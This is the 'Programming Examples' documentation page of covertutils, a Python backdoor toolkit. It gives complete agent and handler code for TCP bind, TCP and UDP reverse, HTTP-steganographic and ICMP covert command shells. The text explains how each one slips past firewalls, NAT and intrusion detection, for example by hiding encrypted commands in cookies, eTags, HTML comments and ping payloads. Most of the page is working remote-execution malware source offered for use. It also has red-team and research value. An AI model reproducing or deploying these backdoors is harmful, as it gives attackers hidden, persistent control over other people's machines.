Programming Examples

Examples can be run using the makefile available in the repo, as shown below:

make EX='examples/example_script.py 8080' run

Notice that examples have to be tested in pairs (agents - handlers).

Simple TCP Bind Shell

The Concept

Dead simple shell, just to demonstrate the basic Backdoor structure. Using pure TCP, the data packets are not hidden in any way, they look like an encrypted Layer 7 protocol.

The Setup

Handler binds to a TCP port and Agent connects to it. Both parties use the TCP connection to push data back and forth. The data is chunked in 50 byte chunks.

The Code

Agent - Server

#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

passphrase = "Pa55phra531"
addr = "0.0.0.0", int(sys.argv[1])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)	#
s.bind( addr )		# Handling Networking
s.listen(5)		# independently of covertutils

while True :		# Make it listen `hard`
	client, client_addr = s.accept()		# Blocking the main thread

	def recv () :		# Create wrappers for networking
		return client.recv( 50 )

	def send( raw ) :		# Create wrappers for networking
		return client.send( raw )

	orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True, cycling_algorithm = sha512 )
	handler = StandardShellHandler( recv, send, orch )	# Create the Handler Daemon Thread

Handler - Client

#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.shells.impl import StandardShell

import sys
import socket
from time import sleep

try :
	program, ip, port, passphrase = sys.argv
except :
	print( """Usage:
	%s <ip> <port> <passphrase>""" % sys.argv[0] )
	sys.exit(1)

client_addr = ip, int(port)

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, cycling_algorithm = sha512 )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( client_addr )

def recv () :
	return s.recv(50)

def send( raw ) :
	return s.send( raw )


class MyHandler( BaseHandler ) :

	def onChunk( self, stream, message ) :
		pass

	def onMessage( self, stream, message ) :
		# The PrintShell class will automatically handle the response (print it to the user)
		pass

	def onNotRecognised( self ) :
		print( "Got Garbage!" )

handler = MyHandler( recv, send, orch )

shell = StandardShell(handler, prompt = "(%s:%d)> " % client_addr )
shell.start()

Simple TCP Reverse Shell

The Concept

Same as above, but the Agent initializes the connection. Far more useful approach, as it can ignore Firewall/NAT pairs. Agents can have NAT’d IP addresses and still be accessible. Still, looks like a Layer 7 protocol.

The Setup

The TCP Server runs on the Handler and awaits the connection in a local or public IP. The Agent, knowing the Handler’s IP (or domain name) connects to it and starts the communication.

The Code

Agent - Client

#!/usr/bin/env python
from covertutils.handlers.impl import ExtendableShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

closed = True

while True :

	if closed :
		try :
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect( addr )
			closed = False
		except Exception as e:
			sleep( delay )
			continue

	def recv () :
		global closed
		try :
			ret = s.recv(50)
			if ret == '' :	  # in empty string socket is closed
				closed = True
				s.close()
		except :
			closed = True
			return ''
			# print( "Connection Terminated" )
			# ret = 'X'
		return ret


	def send( raw ) :
		return s.send( raw )

	orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True )
	handler = ExtendableShellHandler( recv, send, orch )	# Create the Handler Daemon Thread

	while not closed : sleep(1)

Handler - Server

#!/usr/bin/env python
from covertutils.shells.impl import ExtendableShell
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator



import sys
import socket
from time import sleep

try :
	program, port, passphrase = sys.argv
except :
	print( """Usage:
	%s <port> <passphrase>""" % sys.argv[0] )
	sys.exit(1)

addr = '0.0.0.0', int(port)

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50 )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)	#
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind( addr )		# Handling Networking
s.listen(5)		# independently of covertutils

print( "Accepting" )
client, client_addr = s.accept()		# Blocking the main thread
print( "Accepted" )

def recv () :		# Create wrappers for networking
	return client.recv( 50 )

def send( raw ) :		# Create wrappers for networking
	return client.send( raw )


class MyHandler( BaseHandler ) :

	def onChunk( self, stream, message ) :
		pass

	def onMessage( self, stream, message ) :
		# print( message )
		pass

	def onNotRecognised( self ) :
		print( "Got Garbage!" )
		global s
		s.close()

handler = MyHandler( recv, send, orch )
shell = ExtendableShell(handler, prompt = "(%s:%d)> " % client_addr, debug = True )

shell.start()

Simple UDP Reverse Shell

The Concept

The same as above, but now in UDP. Many administrators ignore UDP protocol and don’t include it in the Firewall configuration. But UDP is as usable as TCP… The covertutils traffic still looks like an Application Layer protocol, but based on UDP.

The Setup

The Agent uses UDP packets to communicate. As a Reverse connection, it is still able to bypass NATs. A UDP server is run on the Handler, listening for packets and responding.

The Code

Agent - Client

#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

from hashlib import sha512

passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

def recv () :		# Create wrappers for networking
    return s.recvfrom( 50 )[0]

def send( raw ) :		# Create wrappers for networking
	return s.sendto( raw, addr )

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True, cycling_algorithm = sha512 )
handler = StandardShellHandler( recv, send, orch )	# Create the Handler Daemon Thread

while True :
    send( 'X' )
    sleep( delay )

Handler - Server

#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator

from covertutils.shells.impl import StandardShell

import sys
import socket
from time import sleep

from hashlib import sha512

try :
	program, port, passphrase = sys.argv
except :
	print( """Usage:
	%s <port> <passphrase>""" % sys.argv[0] )
	sys.exit(1)

addr = '0.0.0.0', int(port)
client_addr = None
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, cycling_algorithm = sha512 )

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)	#
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind( addr )		# Handling Networking

synchronized = False

def recv () :		# Create wrappers for networking
	global client_addr
	global synchronized
	addr = False
	while addr != client_addr :
		ret, addr = s.recvfrom( 50 )
		if ret == 'X' :
			client_addr = addr
			synchronized = True

	return ret

def send( raw ) :		# Create wrappers for networking
	return s.sendto( raw, client_addr )


class MyHandler( BaseHandler ) :

	def onChunk( self, stream, message ) :	pass
	def onNotRecognised( self ) :	pass

	def onMessage( self, stream, message ) :
		# The PrintShell class will automatically handle the response (print it to the user)
		pass

handler = MyHandler( recv, send, orch )

shell = StandardShell(handler, )

shell.start()

Advanced HTTP Reverse Shell

The Concept

Things start to get hairy with this one. All above shells use the covertutils generated data as an Application Layer protocol. While this won’t raise any IDS alerts (as of Totally IDS/IPS evading payloads), it is possible that the packets will be flagged/blocked because of the bogusness of the protocol. That’s because some Net admins are smart…

Smart network administrator:

if it ain’t HTTP/S,
and it ain’t DNS,
and not Skype protocol either,
then I don’t want it off my network

So, to bypass this kind of Firewall Whitelisting, the covertutils data is designed to resemble random/encrypted data. Also, covertutils has several tools to embed this kind of data into existing -well known- protocols, effectively creating Covert Channels.

Here this technique will be used with HTTP. The URL, Cookie and eTag, in an HTTP request, and an HTML comment in HTTP Response, can be populated with covertutils data without raising too much suspicion.

The Agent polls the Handler every few seconds (a random number in the delay_between space) - feature of the covertutils.handlers.interrogating.InterrogatingHandler, and executes any commands that are returned.

The Setup

For demonstrating purposes, this one is implemented quite badly! Just to provide an example with the (now deprecated) covertutils.orchestration.stegoorchestrator.StegoOrchestrator. The HTTP packets to be send are hardcoded in the Agent and Handler, with placeholders where data will be injected.

The Handler runs a custom TCP server, just to demonstrate the whole covertutils over HTTP over TCP chain.

The Code

Agent - Client

#!/usr/bin/env python

#			 Disclaimer!
#	 This code is not an optimal HTTP reverse shell!
# It is created to introduce as many aspects of 'covertutils' as possible.
# There are muuuuuch better ways to implement a reverse HTTP shell using this package,
# using many Python helpers like SimpleHTTPServer.
# In this file the HTTP requests/responses are crafted in socket level to display
# the concept of 'StegoOrchestrator' class and network wrapper functions

from covertutils.handlers import InterrogatingHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate

from os import urandom
from time import sleep
import sys
import socket


#============================== HTTP Steganography part ===================

resp_ascii = '''HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
</html>
'''
resp_templ = asciiToHexTemplate( resp_ascii )

req_ascii = '''GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1
Host: {0}
Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
User-Agent: covertutils HTTP-shell by John Torakis

'''		# 2 new lines terminate the HTTP Request
req_templ = asciiToHexTemplate( req_ascii )

#		Create the StegoOrchestrator configuration string
stego_config = '''
X:_data_:\n\n

resp = """%s"""
req = """%s"""
''' % ( resp_templ, req_templ )

#==========================================================================


#============================== Handler Overriding part ===================

# Making a dict to map every 'stream' to a function to be called with the message as argument
# _function_dict = { 'control' : GenericStages['shell']['function'], 'main' : GenericStages['shell']['function'] }

# We need a handler that will ask for and deliver data, initiating a communication once every 2-3 seconds.
# This behavior is modelled in the 'InterrogatingHandler' with the 'delay_between' argument.
# The 'FunctionDictHandler' automatically runs all messages through function found in a given dict
class ShellHandler ( InterrogatingHandler, ExtendableShellHandler ) :

	def __init__( self, recv, send, orch ) :
		super( ShellHandler, self ).__init__( recv, send, orch, # basic handler arguments
											fetch_stream = 'control',	# argument from 'InterrogatingHandler'
											stage_stream = 'stage',
											delay_between = (0.0, 4),	 # argument from 'InterrogatingHandler'
											# delay_between = (2, 3)	 # argument from 'InterrogatingHandler'
											)	# The arguments will find their corresponding class and update the default values

	def onChunk( self, stream, message ) : pass		# If a part of a message arrives - do nothing.

	def onMessage( self, stream, message ) :		# If a message arrives

		if message != 'X' :								# If message is not the 'no data available' flag
			output = FunctionDictHandler.onMessage( self, stream, message )	# Run the received message
																				#through the corresponding function
			# stream, message = super( ShellHandler, self ).onMessage( stream, message )	# Run

			print( "[+] Command Run!" )
			# print( "[+] Command Run: '%s'!" % output )
			# print( "Got to send %d bytes" % len(output) )
			self.queueSend( output, stream )			# Queue the output to send in next interval


	def onNotRecognised( self ) : print( "[!] < Unrecognised >" )


#==========================================================================


#============================== Networking part ===========================
# The networking is handled by Python API. No 'covertutils' code here...

#	Handler's location
addr = ( sys.argv[1], int( sys.argv[2]) )	# called as 'python Client.py 127.0.0.1 8080'

#	Create a simple socket
client_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
# client_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

#	As every HTTP request/response needs a new Socket,
# this variable is used to inform network wrappers if the last HTTP transaction is finished
# It is used in spin-locks. Could be designed a lot better with mutex and up/down.
same_con = False

def send( raw ) :
	global client_socket
	global same_con
	while same_con : sleep (0.01); continue;	# If the last transaction isn't finished - block
	while not same_con :
		try :			# Try starting a new connectio if the Server is up
			client_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM )	# Start new HTTP transaction
			client_socket.connect( addr )
			client_socket.send( raw )			# Send the data
			same_con = True			# make the 'recv' unblock
		except Exception as e:
			# print( e )
			sleep( 2 )	# Retry to connect to handler every 2 seconds

def recv( ) :
	global client_socket
	global same_con
	while not same_con : sleep (0.01); continue	# If an HTTP transaction hasn't started - block
	ret = client_socket.recv( 2048 )		# Get the HTTP response
	client_socket = None					# The socket will be closed by the HTTP Server
	same_con = False						# unblock the 'send' function to start a new HTTP transaction
	return ret

#==========================================================================


#=============================Handler Creation=============================

passphrase = "App1e5&0raNg3s"	# This is used to generate encryption keys
orch = StegoOrchestrator( passphrase,
							stego_config = stego_config,
							main_template = "req",		# The template to be used
							hex_inject = True,			# Inject data in template in hex mode
							reverse = True, 			# For 2 Orchestrator objects to be compatible one must have 'reverse = True'
							streams = ['heartbeat'],
							)

handler = ShellHandler( recv, send, orch )

#==========================================================================

# Wait forever as all used threads are daemonized
while True : sleep(10)


#	Magic!

Handler -Server

#!/usr/bin/env python

#			 Disclaimer!
#	 This code is not an optimal HTTP reverse shell!
# It is created to introduce as many aspects of 'covertutils' as possible.
# There are muuuuuch better ways to implement a reverse HTTP shell using this package,
# using many Python helpers like SimpleHTTPServer.
# In this file the HTTP requests/responses are crafted in socket level to display
# the concept of 'StegoOrchestrator' class and network wrapper functions

from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate

from covertutils.shells.impl import StandardShell, ExtendableShell

from time import sleep
from os import urandom
import random
import string
import sys

import socket
from threading import Thread

#============================== HTTP Steganography part ===================

resp_ascii = '''HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
</html>
'''
resp_templ = asciiToHexTemplate( resp_ascii )
# qa85b923nm90viuz12.securosophy.com
req_ascii = '''GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1
Host: {0}
Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
User-Agent: covertutils HTTP-shell by John Torakis

'''		# 2 new lines terminate the HTTP Request
req_templ = asciiToHexTemplate( req_ascii )

#		Create the StegoOrchestrator configuration string
stego_config = '''
X:_data_:\n\n

resp = """%s"""
req = """%s"""
''' % ( resp_templ, req_templ )

#==========================================================================


#============================== Handler Overriding part ===================

# It is an HTTP Server, so it has to send data only when requested.
# Hence the use of the 'ResponseOnlyHandler' which sends data only when 'onMessage()' is hit with the self.request_data message
class MyHandler ( ResponseOnlyHandler ) :	#
	# Overriding original onMessage method to send a response in any case - not only 'ResponseOnlyHandler.request_data' message arrives
	def onMessage( self, stream, message ) :
		# If the Parent Class would respond (the message was a request), don't bother responding
		responded = super( MyHandler, self ).onMessage( stream, message )
		if not responded :	# If the message was real data (not 'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
			self.queueSend("X", 'heartbeat');	# Make it respond anyway with 'X' (see Client)
			responded = super( MyHandler, self ).onMessage( stream, message )
			assert responded == True		# This way we know it responsed!
		# The PrintShell class will automatically handle the response (print it to the user)


	def onChunk( self, stream, message ) :
		if message : return					# If this chunk is the last and message is assembled let onMessage() handle it
		# print "[*] Got a Chunk"
		self.onMessage( 'heartbeat', self.request_data )	# If this is a message chunk, treat it as a 'request_data' message

	def onNotRecognised( self ) :
		# print "[!]< Unrecognised >"
		# If someone that isn't the client sends an HTTP Request
		redirection_http='''
HTTP/1.1 302 Found
Server: Apache/2.2.14 (Win32)
Location: http://securosophy.com
Content-Length: 0
Content-Type: text/plain
Content-Language: el-US
Connection: close

		'''	# The response will be a redirection
		send( redirection_http )					#
		# This way all random connections will get redirected to "securosophy.com" blog
#==========================================================================


#============================== Networking part =========================
# The networking is handled by Python API. No 'covertutils' code here...

addr = ("0.0.0.0", int( sys.argv[1]) )		# The Listening Address tuple

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)	# Listening socket
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)	# Free the socket object directly after process finishes
server_socket.bind( addr )		# Handling Networking
server_socket.listen(5)			# independently of covertutils

# HTTP Servers work like:
#	Client (Socket Opens)  Server
#	Client ------SYN-----> Server
#	Client <---SYN-ACK---- Server
#	Client ------ACK-----> Server

#	Client (HTTP Request)  Server
#	Client --------------> Server
#	Client (HTTP Response) Server
#	Client <-------------- Server

#	Client (Socket Close)  Server
#	Client <-----FIN------ Server
#	Client ----FIN-ACK---> Server
#	Client <-----ACK------ Server

# As this happens for every HTTP Request/Response the 'send' and 'recv' functions
# use spin-locks to block and recognise when they can tranfer data.
# 'send' and 'recv' are wrappers for Handler object networking. Covertutils is network agnostic


client = None						# Globally define the client socket
client_addr = None
def recv () :
	global client
	while not client : continue	# Wait until there is a client
	ret = ''
	while not ret :			# Block until all data is received
 		ret = client.recv( 2048 )
	return ret			# Return the received data


def send( raw ) :
	global client
	while not client : continue	# Wait until there is a client
	client.send( raw )			# Send the data through the socket
	client.shutdown(socket.SHUT_RDWR) #	Terminate the Socket
#==========================================================================


#=============================Handler Creation============================

passphrase = "App1e5&0raNg3s"	# This is used to generate encryption keys
orch = StegoOrchestrator( passphrase,
							stego_config = stego_config,
							main_template = "resp",		# The template to be used
							hex_inject = True, 			# Inject data in template in hex mode
							streams = ['heartbeat'],
							)
handler = MyHandler( recv, send, orch )	# Instantiate the Handler Object using the network wrappers


def serveForever() :
	global client
	global client_addr
	while True :				# Make it listen `hard`
		client_new, client_addr = server_socket.accept()
		client = client_new

server_thread = Thread ( target = serveForever )
server_thread.daemon = True
server_thread.start()

#==========================================================================


#============================== Shell Design part ========================
shell = ExtendableShell( handler,
	ignore_messages = set(['X']) 	# It is also the default argument in BaseShell
	)
shell.start()

#==========================================================================

#	Magic!

Traffic Sample

HTTP Request

GET /search.php?q=01e45e90?userid=6c8a34140ef540caa9acc5221ca3be54bc1425 HTTP/1.1
Host: {0}
Cookie: SESSIOID=6626d881415241b388b44b52837465e4ed2b2504f9f16893716c25a1f81e9c5809b5485281acf68327ada9d3c6be170afb3ff5ac8d4de0e77e3dd9eeb089fbe1
eTag: c9262c8fa9cf36472fc556f39f9446c25c5433

HTTP Response

HTTP/1.1 404 Not Found
Date: Sun, 18 Oct 2012 10:36:20 GMT
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: d90a2b5e614c0b0a28c438e8100f16537f854c5a193
c0b7da2ca674b2583cf328fe7f7f0cf49e8932ce9dd5f08a362c92f7d923867ffb4b196b885461e12a892
-->
</html>

Note

Please notice that this example will work for only 1 reverse connection. Other connections will jam as of the Cycling Encryption Key. A real project would use HTTP Cookies along with Orchestrator.getIdentity() and Orchestrator.checkIdentity() to achieve session management.

Advanced ICMP Bind Shell

The Concept

In case you need a Shell from an Internet exposed Web server, or Firewall, or VPS this is for you. Anything with a Public IP will do! This one monitors ICMP echo-request packets arriving to the host, and if it identifies covertutils Layer 7 (after the ICMP header), decodes-executes and responds with echo-reply packet containing the reply of the sent command.

It is specifically created to resemble ping implementation and this can be seen in the Traffic Sample below. Yet, the actual Layer 7 payload contains coverutils data.

The Setup

The Agent monitors all NICs for ICMPs and responds. As it doesn’t attempt to connect anywhere, instead waits for data, this is a Bind shell (as it binds to the NICs).

The Handler sends a ping with a command, and a Ping-Pong is initialized until all command output is delivered to the Handler. Then silence…

This example uses the Legendary Scapy package to parse and create Raw Packets. It can be also implemented using StegoOrchestrator class, if Scapy dependency is a bummer. Windows users will need Npcap to use Scapy. Python Raw Sockets do not seem to have this dependency.

As this backdoor uses Raw Sockets, root permissions are needed for both Handler and Agent .

The Code

Agent - Server

#!/usr/bin/env python
#============================== Imports part =============================

from covertutils.orchestration import SimpleOrchestrator
from covertutils.handlers import ResponseOnlyHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler

from scapy.all import sniff, IP, ICMP, Raw		# Never bloat scapy import with *
from scapy.all import send as scapy_send	# unexpected things will happen

from threading import Thread		# Need a thread for running a sniffer
from time import sleep			# I spin lock a lot
from random import randint		# Generating IP id field needs randomness

passphrase = "pass"		# Passphrase hardcoded in handler. Could also be encrypted.

#============================== Networking part ===========================
# The networking is handled by Python and Scapy. No 'covertutils' code here...

icmp_packets = []		# Packets captured by sniffer will be stored here
packet_info = []		# List of packet information collected for the handler to know where to respond


def add_icmp_packet( pkt ) :	# wrapper function to add a packet to the list
	global icmp_packets
	icmp_packets.append( pkt )


def collect_icmp() :		# Scappy non terminating sniffer
	cap_filter = "icmp[icmptype] == icmp-echo"		# that captures echos
	sniff( filter = cap_filter, prn = add_icmp_packet )	 # runs forever


def recv( ) :		# Networking Wrapper function needed for the handler
	while not icmp_packets :	# Blocks when no packet is available
		sleep(0.01)

	pkt = icmp_packets.pop(0)	# Get the first packet
	timestamp = str(pkt[Raw])[:4]	# Keep the timestamp to use it on the response
	raw_data = str(pkt[Raw])[4:]			# remove the timestamp and get the raw data
	#	Keep a track of the packet information as it may be from the Handler
	packet_info.insert( 0, (pkt[IP].src, pkt[IP].dst, pkt[ICMP].seq, pkt[ICMP].id, timestamp ) )
	#	If it is from the Handler a response will be made using that information
	return raw_data


def send( raw_data ) :
	ip_id = randint( 0, 65535 )		# To simulate real packets
	handler_ip, self_ip, icmp_seq, icmp_id, timestamp = packet_info[0]	# extract the data from the packet that will be answered
	paylaod = timestamp + raw_data	# the payload starts with UNIX time to simulate real ping
	pkt = IP( dst = handler_ip, src = self_ip, id = ip_id )/ICMP( type = "echo-reply", seq = icmp_seq, id = icmp_id )/Raw( paylaod )
	scapy_send( pkt, verbose = False )		# Make and send a Raw Packet


sniff_thread = Thread( target = collect_icmp )
sniff_thread.daemon = True
sniff_thread.start()			# Run the ICMP echo collector in a thread
#==========================================================================




#============================== Handler Overriding part ===================

# A dict that designates what function is going to run if Messages come from certain streams
# _function_dict = { 'control' : GenericStages['shell']['function'],
# 					'main' : GenericStages['shell']['function']
# 					}
# Here all streams will be used for a typical 'system' function (raw shell).
# FEEL FREE TO CREATE YOUR OWN!

#	ResponseOnlyHandler because the Agent never sends packet adHoc but only as responses
#	FunctionDictHandler to set the dict of functions run on messages
class AgentHandler( ResponseOnlyHandler, StandardShellHandler ) :

	def onNotRecognised( self ) :	# When Junk arrives
		global packet_info	# It means that the packet is not created by Handler
		del packet_info[0]	# So the packet's info get deleted as the Agent won't respond to it
		# print "[!] Unrecognised"


	def onChunk( self, stream, message ) :	# When a Chunk arrives
		# print "[+] Got Chunk!"
		if not message :	# If it is not a complete message (but a part of one)
			self.onMessage( stream, self.request_data )	# Treat it as message containing the `self.request_data` string


	def onMessage( self, stream, message ) :	# When a Chunk arrives
		# print "[%] Got a Message!"
		if message == self.request_data :	# If the Message contains the `self.request_data` string
			ret_stream, ret_message = stream, message	# The message to be responded will contain the same value
		else :		# Else pass it through the function pointed by the function dict
			ret_message = FunctionDictHandler.onMessage( self, stream, message )

		responded = ResponseOnlyHandler.onMessage( self, stream, ret_message )	# Run the ResponseOnlyHandler onMessage
		# That automatically responds with the next Message in queue when called. (Always responding to messages behavior)
		if not responded :		# If the message was real data (not 'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
			self.queueSend( ret_message, stream );	# Make it respond anyway with 'ResponseOnlyHandler.request_data' (see Client)
			responded = ResponseOnlyHandler.onMessage( self, stream, ret_message )	# Now it will responde for sure as a message is manually added to the queue
			assert responded == True		# This way we know it responsed!
#==========================================================================



#=============================Handler Creation=============================

orchestrator = SimpleOrchestrator( passphrase,	# Encryption keys generated from the passphrase
				tag_length = 2,		# The tag length in bytes
				out_length = 52,	# The absolute output byte length (with tags)
				in_length = 52,		# The absolute input byte length (with tags)
				streams = ['heartbeat'],	# Stream 'control' will be automatically added as failsafe mechanism
				reverse = False )	# Reverse the encryption channels - Handler has `reverse = True`

agent = AgentHandler( recv, send, orchestrator,			# Instantiate the Handler object. Finally!
					# function_dict = _function_dict,  	# needed as of the FunctionDictHandler overriding
					)
#==========================================================================


# Wait forever as all used threads are daemonized
while 1 :	sleep(10)	# Magic!

Handler - Client

#!/usr/bin/env python
#============================== Imports part =============================

from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import SimpleOrchestrator

from covertutils.shells.impl import StandardShell

from scapy.all import sniff, IP, ICMP, Raw		# Never bloat scapy import with *
from scapy.all import send as scapy_send	# unexpected things will happen

from threading import Thread		# Need a thread for running a sniffer
from time import sleep			# I spin lock a lot

from random import randint		# Generating ICMP and IP id fields needs randomness
from struct import pack			# packing a unixtime in Pings is key
import time						# used for unixtime

import sys						# Used for arguments


agent_address = sys.argv[1]		# Where the Agent resides (aka RHOST)
passphrase = sys.argv[2]		# What is the passphrase the agent uses
delay_secs = float(sys.argv[3])	# Delay between Pings sent. 1 sec is slow but realistic


#============================== Networking part ===========================
# The networking is handled by Python and Scapy. No 'covertutils' code here...

icmp_packets = []		# Packets captured by sniffer will be stored here
icmp_seq = 1		# The initial Ping sequence value is 1/256
icmp_id = randint( 0, 65535 )	# The sequence value is the same on every packet for every execution of 'ping'


def add_icmp_packet( pkt ) :	# wrapper function to add a packet to the list
	global icmp_packets
	icmp_packets.append( pkt )


def collect_icmp() :		# Scappy non terminating sniffer
	cap_filter = "icmp[icmptype] == icmp-echoreply"		# that captures echo replies
	sniff( filter = cap_filter, prn = add_icmp_packet )	 # runs forever


def get_icmp_timestamp( ) :		# function returns UNIX time in 4 bytes Little Endian
	return pack("<I", int(time.time()))


def recv( ) :		# Networking Wrapper function needed for the handler
	while not icmp_packets :	# Blocks when no packet is available
		sleep(0.01)

	pkt = icmp_packets.pop(0)	# Get the first packet
	raw_data = str(pkt[Raw])[4:]		# Remove the UNIX timestamp
	return raw_data		# Return the raw data to Handler


def send( raw_data ) :	# Networking Wrapper function needed for the handler
	sleep( delay_secs )		# Delay before next Ping
	ip_id = randint( 0, 65535 )	# Calculate random header values to simulate real packets
	payload = get_icmp_timestamp() + raw_data	# the payload starts with UNIX time to simulate real ping
	pkt = IP( dst = agent_address, id = ip_id, flags = 'DF' )/ICMP( type = "echo-request", id = icmp_id, seq = icmp_seq )/Raw( payload )
	scapy_send( pkt, verbose = False )		# Make and send a Raw Packet


sniff_thread = Thread( target = collect_icmp )
sniff_thread.daemon = True
sniff_thread.start()			# Run the ICMP reply collector in a thread
#==========================================================================


#============================== Handler Overriding part ===================

#	ResponseOnlyHandler because the Agent never sends packet adHoc but only as responses
#		(Except if we use adHocSend() by hand - later in Shell creation)
class Handler( ResponseOnlyHandler ) :

	def onMessage( self, stream, message ) :	# When a Message arrives
		global icmp_seq		# Make the Ping Sequence Number 1/256 again
		icmp_seq = 1
		global icmp_id		# Simulate a new 'ping' execution
		icmp_id = randint( 0, 65535 )
		# The PrintShell class will automatically handle the response (print it to the user)


	def onChunk( self, stream, message ) :	# When a Chunk arrives
		# print "[+] Got a Chunk"
		global icmp_seq
		if not message :	# If it is not a complete message (but a part of one)
			icmp_seq += 1	# add one to the ICMP sequence
			self.queueSend( self.request_data, stream )	# Add a message to the send queue
			super( Handler, self ).onMessage( stream, self.request_data  )	# Run the ResponseOnlyHandler onMessage
			# That automatically responds with the next Message in queue when called. (Always responding to messages behavior)


	def onNotRecognised( self ) :	# When Junk arrives
		# print "[!] Unrecognised"
		pass			# Do nothing

#==========================================================================



#=============================Handler Creation=============================

orchestrator = SimpleOrchestrator( passphrase,	# Encryption keys generated from the passphrase
				tag_length = 2,		# The tag length in bytes
				out_length = 52,	# The absolute output byte length (with tags)
				in_length = 52,		# The absolute input byte length (with tags)
				streams = ['heartbeat'],	# Stream 'control' will be automatically added as failsafe mechanism
				reverse = True )	# Reverse the encryption channels - Agent has `reverse = False`

handler = Handler( recv, send, orchestrator )	# Instantiate the Handler object. Finally!
handler.preferred_send = handler.sendAdHoc	# Change the preferred method to use it with the shell.
# This way the shell will iterate a message sending and the ResponseOnlyHandler will do the ping-pong

#==========================================================================


#============================== Shell Design part ========================

shell = StandardShell(handler )
shell.start()


#==========================================================================

#	Magic!

Traffic Sample

Backdoor’s Traffic

make EX='examples/icmp_bind_handler.py 127.0.0.5 pass 0.1' run
PYTHONPATH=".:" examples/icmp_bind_handler.py 127.0.0.5 pass 0.1
